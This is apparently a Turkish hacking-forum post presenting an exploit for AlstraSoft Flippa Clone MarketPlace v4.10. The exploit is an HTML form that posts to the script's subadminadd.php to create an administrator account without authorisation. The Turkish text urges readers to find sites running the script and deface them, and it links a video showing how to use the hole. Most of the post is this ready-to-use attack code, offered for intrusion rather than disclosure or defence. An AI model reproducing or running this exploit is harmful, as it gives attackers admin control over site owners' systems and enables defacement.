# TURKHACKTEAM.ORG // BH80 #
#######
# Exploit Title: AlstraSoft Flippa Clone MarketPlace v4.10 Script - Cross-Site (Add Admin)
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: PHP Clone Script - Leading Software Provider for Pinterest, Groupon, Facebook, Fiverr, Youtube and Paypal Clone
# Version: 4.10
# Tested on: Win7 x64, Kali Linux x64
# # # # #
Merhaba arkadaşlar bugün sizlere daha çıkalı 2 gün olan bir güvenlik açığını paylaşacağım ve çokta tehlikeli bir güvenlik açığı scriptin yüklü olduğu siteleri bulabilirseniz çok rahat defaceleyebilirisiniz.
Html kod yardımı ile dışarıdan müdahale edilebilir ve siteye admin hesabı ekleyerek giriş yapabilirisiniz. Açığı nasıl kullanacağınızı anlatmak için bir video çektim anlamadığınız yer olursa mesaj atabilirsiniz.
YOUTUBE VİDEO LİNKİ:
[ame]https://www.youtube.com/watch?v=PPQK7Hgejg8&[/ame]
Demo: Flippa Clone Marketplace Script
Kod:
<html>
<body>
<form name="frmSubadmin" action="http://localhost/[PATH]/subadminadd.php" method="POST" >
<td align="left" style="padding-left:15px" height="25" align="center">SubAdmin Management [Add]</td>
<input type="text" name="user_login" size="40" maxlength="50" class="textbox" value="">
<input type="password" name="user_passwd" size="40" maxlength="50" class="textbox" value="">
<input type="submit" name="Sumbit" value="Save" class="stdButton">
</form>
</body>
</html>
Son düzenleme:
